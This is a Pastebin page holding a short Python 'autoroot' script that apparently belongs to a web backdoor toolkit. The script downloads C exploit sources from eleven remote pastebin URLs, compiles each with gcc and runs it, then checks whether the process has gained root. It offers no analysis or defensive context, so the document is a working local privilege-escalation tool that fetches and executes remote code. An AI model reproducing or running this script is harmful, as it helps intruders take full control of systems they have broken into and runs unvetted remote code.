Advertisement
YASSINOXTN

OWN3R AUTOROOT

Sep 12th, 2016
605
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.16 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. # This tool belongs to PHP_OWN3R Module - Webdoor Backdoor generator
  4.  
  5. import os, urllib2
  6.  
  7. exploits = {
  8.     "http://pastebin.com/raw/GHhBNrn3" : "GHhBNrn3",
  9.     "http://pastebin.com/raw/ai8P427V" : "ai8P427V",
  10.     "http://pastebin.com/raw/aqgvbV09" : "ai8P427V",
  11.     "http://pastebin.com/raw/sVaW0rqv" : "sVaW0rqv",
  12.     "http://pastebin.com/raw/DZbvqcLq" : "DZbvqcLq",
  13.     "http://pastebin.com/raw/W7iJqyUa" : "W7iJqyUa",
  14.     "http://pastebin.com/raw/f23SqX6w" : "f23SqX6w",
  15.     "http://pastebin.com/raw/PD8aekNb" : "PD8aekNb",
  16.     "http://pastebin.com/raw/mm0KqvTF" : "mm0KqvTF",
  17.     "http://pastebin.com/raw/ygQKGtJ5" : "ygQKGtJ5",
  18.     "http://pastebin.com/raw/pUfHX1H4" : "pUfHX1H4"
  19. }
  20.  
  21. os.mkdir("exploits")
  22. for exploit, name in exploits.items():
  23.     try:
  24.         content = urllib2.urlopen(exploit).read()
  25.         save = open("exploits/"+str(name)+".c", "w")
  26.         save.write(content)
  27.         save.close()
  28.         os.system("gcc exploits/"+str(name)+".c -o exploits/"+str(name))
  29.         os.system("./exploits/"+str(name))
  30.         uid = os.getuid()
  31.         if uid == 0:
  32.             print("\t[+] Guess W00T !")
  33.     except:
  34.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement